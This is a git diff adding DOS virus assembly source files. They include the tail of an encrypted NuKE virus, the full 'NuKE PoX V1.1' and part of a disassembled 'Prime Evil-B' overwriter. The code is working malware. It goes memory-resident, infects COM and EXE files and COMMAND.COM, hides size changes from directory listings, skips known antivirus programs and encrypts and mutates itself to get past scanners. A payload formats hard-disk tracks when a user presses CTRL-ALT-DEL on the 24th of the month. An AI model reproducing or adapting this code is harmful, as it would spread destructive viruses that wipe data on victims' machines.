;Size of the Virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h ;CTRL-ATL-DEL Key +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus ;+3 bytes +;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes + call doit_now ;Doit VirusMan... ;+3 Bytes + ;======== +doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes + sub bp,109h ;have to be added to the 100h! This + push ax ;SETs our `Delta Pointer'. + push bx + push cx + push dx ;Save registers + push si + push di + push bp + push es + push ds + + mov ax,0abcdh ;Are we resident Already? + int 21h + cmp bx,0abcdh ;Yupe... Quit Then... + je exit_com + + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h + mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h + + mov ax,3521h ;Some AVs may INTCEPT this Call! + int 21h ;May be better to go Manually... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size+virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number of bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + mov bx,offset buffer ; Its a COM file restore + add bx,bp ; First three Bytes... + mov ax,[bx] ; Mov the Byte to AX + mov word ptr ds:[100h],ax ; First two bytes Restored + add bx,2 ; Get the next Byte + mov al,[bx] ; Move the Byte to AL + mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt + pop ds + pop es + pop bp ; Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ; Jump Back to Beginning + push ax ; Restores our IP (a CALL + retn ; Saves them, now we change +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 +;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: + push ax + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,0abcdh ;Virus testing + jne int21call + mov bx,0abcdh +int21call: + jmp dword ptr cs:[int21] ;Split... + ret +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,3h + mov dx,offset ds:[buffer] ;Read first 3 bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end + xor cx,cx ;of file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exit ;Yupe! Split + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the first 3 + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h + + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] ;Jmp back to whatever +rocko endp +;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,2ch ;Get Time + int 21h + push dx ;Split seconds to AX + pop ax + mov byte ptr cs:[value],al ;AL = 0 to 99 + ;New Encryption Value + mov cx,virus_size + push cs + pop es ;Copy ANOTHER copy of the + mov si,offset init_virus ;Virus to the end of us + mov di,offset last + repne movsb + + mov cx,crypt_size + sub cx,3h ;Encrypt that 2nd copy! + push bp + mov bp,offset last + 3h + call decrypt_encrypt + pop bp + + mov ah,40h ;Write the New Encrypted + mov dx,offset last ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h +crypt: +msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'... +;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*- +decrypt proc near + pop bp + push bp + mov al,byte ptr [value-106h][bp] ;Get new Encryption + mov cx,crypt_size ;Value +decrypt_encrypt: + xor cs:[bp],al ;Fuck Scanners and put a + inc bp ;`NOT AL' anywhere here... + loop decrypt_encrypt + retn +value db 00h ;Encryption value! +decrypt endp +last: +seg_a ends + end start diff --git a/p/POX2.ASM b/p/POX2.ASM new file mode 100755 index 0000000..9d1a171 --- /dev/null +++ b/p/POX2.ASM @@ -0,0 +1,497 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -* +;*- ~~~~~~ *- +;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -* +;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *- +;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -* +;*- Bytes: 963 Bytes Memory: 963 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus_size equ last - init_virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Virus Begins Here... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: + call doit_now ;Doit VirusMan... + +doit_now: pop bp ;Not to Lose Track + sub bp,106h ;Set our position + push ax ;Save all the registers + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + + mov ax,7bcdh ;Are we resident Already? + int 21h + cmp bx,7bcdh ;Yupe... Quit Then... + je exit_com + + xor bx,bx + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es + mov word ptr cs:[int9][bp],bx + + mov ax,3521h ;Sometimes tend to intercept + int 21h ;This Interrupt... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number od bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + cmp word ptr cs:[buffer][bp],5A4Dh + je exit_exe_file ;Its an EXE file... + mov bx,offset buffer ;Its a COM file restore + add bx,bp ;First three Bytes... + mov ax,[bx] ;Mov the Byte to AX + mov word ptr ds:[100h],ax ;First two bytes Restored + add bx,2 ;Get the next Byte + mov al,[bx] ;Move the Byte to AL + mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes + pop ds + pop es + pop bp ;Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ;Jump Back to Beginning + push ax ;Restores our IP (a CALL + retn ;Saves them, now we changed +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 + +exit_exe_file: + mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester + mov dx,cs + sub dx,bx + mov ax,dx + add ax,word ptr cs:[exe_cs][bp] ;Get original CS + add dx,word ptr cs:[exe_ss][bp] ;Get original SS + mov bx,word ptr cs:[exe_ip][bp] ;Get original IP + mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP + mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS + mov ax,word ptr cs:[exe_sp][bp] ;Get original SP + mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS + mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + db 0B8h ;This is now a MOV AX,XXXX +Rock_Fix1: ;XXXX is the original SS + dw 0 ;Our XXXX Value + cli ;Disable Interrupts + mov ss,ax ;Mov it to SS + db 0BCh ;This is now a MOV SP,XXXX +Rock_Fix2: + dw 0 ;The XXXX Value for SP + sti ;Enable interrupts + db 0EAh ;JMP XXXX:YYYY +fuck_yeah: + dd 0 ;Dword IP:CS (Reverse order! +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 9 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: ;Every TIME a KEY is pressed + push ax ;This ROUTINE is called! + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave system alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Dir Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected: pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 21 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,7bcdh ;Virus testing + jne int21call + jmp execute +int21call: + jmp dword ptr cs:[int21] ;Split... +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + cmp ax,7bcdh ;Was Virus testing if it was + jne continue ;Alive? If No Continue + push cs + pop ds ;If Yes, Check if COMMAND.CO + mov dx,offset command ;Is infected! And return + jmp continue2 +continue: + call check_name ;Make sure file executed + jc exit_now ;Ain't a Anti-Viral program +continue2: ;With the CRC-32 checkers + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,20h + mov dx,offset ds:[buffer] ;Read first 20h bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end of + xor cx,cx ;file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exe_file ;JMP to EXE Infector + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the firs + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h +exit_now2: + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cmp ax,7bcdh ;Virus checking if alive + jne leave_now ;No, Exit normally + mov bx,ax ;Yes, Fix BX with codez +leave_now: + jmp dword ptr cs:[int21] ;Jmp back to whatever +exe_file: + mov cx,word ptr cs:[buffer+20] ;IP Regester + mov word ptr cs:[exe_ip],cx ;Save IP Regester + mov cx,word ptr cs:[buffer+22] ;CS Regester + mov word ptr cs:[exe_cs],cx ;Save CS Regester + mov cx,word ptr cs:[buffer+16] ;SP Regester + mov word ptr cs:[exe_sp],cx ;Save SP Regester + mov cx,word ptr cs:[buffer+14] ;SS Regester + mov word ptr cs:[exe_ss],cx ;Save SS Regester + push ax + push dx + call multiply ;Figure a new CS:IP + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[buffer+22],dx ;Restore New CS + mov word ptr cs:[buffer+20],ax ;Restore New IP + pop dx + pop ax + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply ;Figure a new SS:SP + sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall + add ax,40h + mov word ptr cs:[buffer+14],dx ;New SS Pointer + mov word ptr cs:[buffer+16],ax ;New SP Pointer + pop dx + pop ax + + push bx + push cx + mov cl,7 ;Fix for Header for + shl dx,cl ;new file size in 512 + ;byte pages + mov bx,ax + mov cl,9 ;And the remainder + shr bx,cl ;after dividing by + ;512... + add dx,bx + and ax,1FFh + jz outta_here + inc dx +outta_here: + pop cx + pop bx + + mov word ptr cs:[buffer+2],ax ;Save Remainder + mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag + call infect_me ;INFECT File! Yeah! + jc exit_exe + + mov ah,40h ;Write NEW EXE Header back + mov dx,offset ds:[buffer] ;to EXE File! Points to + mov cx,20h ;The Virus Now!!! ehhe + int 21h +exit_exe: + jmp exit_now + +rocko endp + +exe_ip dw 0 ;Original IP,CS,SP,SS From EXE +exe_cs dw 0 ;Header! +exe_sp dw 0 +exe_ss dw 0 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,40h ;Write the New Encrypted + mov dx,offset init_virus ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Fix EXE Header...Gets new SS, CS Values for EXEs headers +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +multiply proc near + push bx + push cx + mov cl,0Ch + shl dx,cl + + mov bx,ax + mov cl,4 + shr bx,cl + + add dx,bx + and ax,0Fh + pop cx + pop bx + retn +multiply endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check to see if an `Anti-Viral' Product is being executed. +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +check_name proc near + push si + push cx + + mov si,dx + mov cx,128h +loop_me: + cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String + je next_ok + inc si + loop loop_me +next_ok: + cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT) + jne next_1 ;Naaa + cmp ds:[si-4],'RP' + je bad_file ;Yupe... +next_1: + cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee) + jne next_2 ;Naaa + cmp ds:[si-4],'CS' + je bad_file ;Yupe... +next_2: + cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE + jne next_3 ;Naaa + cmp ds:[si-4],'EL' + je bad_file ;Yupe... +next_3: + pop cx + pop si ;good file Set CARRY FLAG + clc ;to normal + retn +bad_file: + pop cx ;Bad file, Set CARRY FLAG + pop si ;ON!!! + stc + retn +check_name endp + +command db "C:\COMMAND.COM",0 ;What to infect! +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h + db 30h DUP (?) +msg db "NukE PoX V1.1 - R.S" +last: +seg_a ends + + end start diff --git a/p/PRIME-B.ASM b/p/PRIME-B.ASM new file mode 100755 index 0000000..1abad1e --- /dev/null +++ b/p/PRIME-B.ASM @@ -0,0 +1,1167 @@ +comment % +=============================================================================== + + Prime Evil-B Overwriter "Virus" Source + Disassembled by Cruel Entity of The Funky Pack of CyberPunks + Notes: + Interresting programming style... :) + +=============================================================================== + % + +id equ 0DB33h +dta_filename equ 9Eh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +prime proc far + +vstart equ $ + +start: + xor bx,bx ; Zero register + nop + nop + nop + nop + call decrypt+1 ; decrypt + nop + nop + nop + db 0ebh,46h ;jump to crypt_beg + +prime endp + + +decrypt proc near +data db 00,53h,0bbh ; push bx + push sp + + add [bx+si+9090h],dx ; where to decrypt + nop + mov cx,70eh ; # of bytes to decrypt + nop + nop + nop + push cx + nop + nop + nop + mov al,cs:data + nop + nop + nop + nop +decrypt2: nop + nop + nop + xor [bx],al + nop + nop + inc bx + nop + nop + loop decrypt2 + pop cx + pop bx + nop + nop + nop + nop + inc bx + dec bx + jz return + nop + nop + nop + nop + mov ah,40h + xchg si,dx + nop + nop + int 21h + xor bx,bx + nop + nop + nop + jmp decrypt+1 +return: + ret + nop + db 0e9h,80h,00h ; used to fuck debug +decrypt endp + +crypt_beg: +fmask db '*.C*', 0 +message db 'Prime Evil! ' + db '(C) Spellbound, Line Noise 1992.',0dh,0ah + db 'Coded in Stockholm, Sweden.', 0Dh, 0Ah + db 'Please spell my name right!$' + + +f_size db 0, 0 +f_time dw 0 +f_date dw 0 +data_12 dw 0 +m_seg dw 0 ;memory segment + + +int_24h_entry proc far ; this replaces int24 + mov bl,3 + iret ; interrupt return +int_24h_entry endp + +f_handle dw 0 +int_jmp db 0EAh, 5Bh,0E0h, 00h,0F0h +int_1: + mov dx,offset int_jmp +fuck_sr_1: + mov ax,0fe05h ; hook int 1 and int 3 + jmp fuck_sr_1+1 ; (which fucks debug) + add ax,0ebfeh + sub ah,0b1h + int 21h + add al,02h + int 21h + mov al,0ffh + out 21h,al + + mov ah,4ah + mov bx,00c8h + int 21h + mov ah,48h + mov bx,0096h + int 21h + mov cs:m_seg,ax ; allocate memory + + mov ax,2524h + mov dx,offset int_24h_entry + int 21h ; change int24h + ; set intrpt vector al to ds:dx + + mov ah,2Ah ; get date + int 21h + + cmp dl,1 ; is it day 1? + + jne not_day1 ; no it isn't + + mov ah,9 + mov dx,offset message ; then display a message + int 21h ; + ; + call pan_screen ; and pan the screen + + +not_day1: + mov dx,offset fmask + mov ah,4Eh + int 21h ; find 1st .COM file + + jnc found_com ; if no error, move on to + ; found_com + + xor al,al ; no .COM file found + out 21h,al ; exit to dos + retn +found_com: + mov ax,4300h + mov dx,dta_filename + int 21h ; get file attribute + + push cx ; save attrib + mov ax,4301h + xor cx,cx + int 21h ; set attrib to normal + + xor al,al ; + out 21h,al ; port 21h, 8259-1 int comands + + mov dx,dta_filename + mov word ptr cs:f_size,dx ; save file size + + mov ax,3D02h + int 21h ; open file + + jnc opened_ok ; Jump if not error + jmp find_next ; +; +; ^^^ interesting way of solving the error jumping... +; + +opened_ok: + mov cs:f_handle,ax ; save file handle + + mov ax,5700h ; get file date/time + mov bx,cs:f_handle + int 21h + + jnc get_date_ok ; Jump if no error + + retn ; error when checking + ; file time/date, exit to DOS + +get_date_ok: + mov cs:f_time,cx ; save file time + mov cs:f_date,dx ; and file date + + + mov ah,3Fh ; read file to memory + mov cx,70eh ; <- virus size + push ds ; save data seg + mov ds,cs:m_seg ; memory segment + mov dx,0 + int 21h + + push ax ; save bytes + + mov si,0 + lodsw ; String [si] to ax + xchg ax,si + pop ax + pop ds ; restore data seg + mov word ptr cs:f_size,ax ; save file size + cmp si,id ; already infected?? + jne readed_ok ; nope... + jmp already_inf ; +readed_ok: + push ds ; save data seg + mov ds,cs:m_seg ; copy memory seg to ds + mov es,cs:m_seg ; and es + xor di,di ; + xor si,si ; + mov cx,70eh ; virus size + + mov ah,0F3h ; decryption value + +crypt_file: + lodsb ; load a byte + xor al,ah ; decrypt it + stosb ; and save it + loop crypt_file + + pop ds ; restore data seg + + mov ax,4200h ; move file ptr. + xor cx,cx ; to beginning of file + xor dx,dx + int 21h + + mov ah,2Ch ; get system time + int 21h + + xchg dh,al ; second to al + xor ah,ah ; + mul cl ; cl * al = ax + ; (min * sec = ax) + add al,dl ; add al,minutes + add ax,70eh ; add ax,virulen + add al,byte ptr cs:[10Eh] + mov byte ptr cs:[10Eh],al + + call crypt ; decrypt the shit + + push cs ; cs to ds + pop ds + + mov si,100h + mov bx,cs:f_handle + call decrypt+1 + + mov ax,4202h ; move file ptr to eof + mov bx,cs:f_handle + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ; write original file + mov cx,word ptr cs:f_size + push ds ; save data seg + mov ds,cs:m_seg + mov dx,0 + int 21h + + pop ds ; restore data seg + + mov ax,5701h ; restore file time/date + mov cx,cs:f_time + mov dx,cs:f_date + int 21h + + jc exit ; exit if error + + mov ah,3Eh ; close file + int 21h + + pop cx + mov dx,dta_filename ; restore attrib + mov ax,4301h + int 21h + + jmp short exit +already_inf: + mov ah,3Eh ; close file + int 21h + + pop cx ; restore attrib + mov dx,dta_filename + mov ax,4301h + int 21h +find_next: + mov ah,4Fh + int 21h ; find next .COM file + + jc screw ; jump if error + jmp found_com ; else, do next .COM file + +exit: + retn ; exit to dos +screw: + int 1 ; single step + retn + +pan_screen proc near ; this routine will scroll + mov cs:data_12,0 ; the screen and reboot +loc_15: + mov bx,cs:data_12 ; lots of messing with the + mov dx,3D4h ; video ports below... + mov ah,bh ; + mov al,0Ch ; + out dx,ax ; port 3D4h, CGA/EGA reg index + ; al = 0Ch, start address high + mov ah,bl + inc al + out dx,ax ; port 3D4h, CGA/EGA reg index + ; al = 0Dh, start address low + mov dx,3DAh +loc_16: + in al,dx ; port 3DAh, CGA/EGA vid status + test al,8 + jnz loc_16 ; Jump if not zero +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + test al,8 + jz loc_17 ; Jump if zero + inc cs:data_12 + cmp cs:data_12,50h + jle loc_15 ; Jump if < or = + mov cs:data_12,0 + retn +pan_screen endp + + +crypt proc near + push cs ; move cs to ds and es + push cs + pop ds + pop es + + mov di,113h + call get_time ; get system time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_22 ; Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_21 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_20 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_19 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_18 ; Jump if below + + call write_31h_0c7h ; The stuff below this + call write_31h_0cfh ; is just for mutating + ; some instructions in the + jmp short loc_23 ; decryptioning routine. +loc_18: ; + call write_31h_0ddh + call write_45h + call write_4fh + jmp short loc_23 +loc_19: + call write_31h_0f7h + call write_31h_0edh + jmp short loc_23 +loc_20: + call write_8dh_3eh_BL_BH + jmp short loc_23 +loc_21: + call write_83h_0c7h_DL + call write_47h + jmp short loc_23 +loc_22: + call write_0ebh_0 + call write_31h_0ffh +loc_23: + mov di,11Ah + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_28 ; Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_27 ; Jump if below + + cmp dh,1Eh ; if seconds = 1eh + jb loc_26 ; Jump if below + + cmp dh,28h ; if seconds = 28h + jb loc_25 ; Jump if below + + cmp dh,32h ; if seconds = 32h + jb loc_24 ; Jump if below + + call write_31h_0cfh + call write_45h + + jmp short loc_29 +loc_24: + call write_47h + call write_47h + call write_47h + jmp short loc_29 +loc_25: + call write_31h_0c7h + call write_45h + jmp short loc_29 +loc_26: + call write_0ebh_0 + call write_45h + jmp short loc_29 +loc_27: + call write_47h + call write_31h_0edh + jmp short loc_29 +loc_28: + call write_83h_0c7h_DL +loc_29: + mov di,11Eh + call get_time + + cmp dh,0Ah ; if seconds = 0ah + jb loc_34 ; Jump if below + + cmp dh,14h ; if seconds = 14h + jb loc_33 ; Jump if below + + 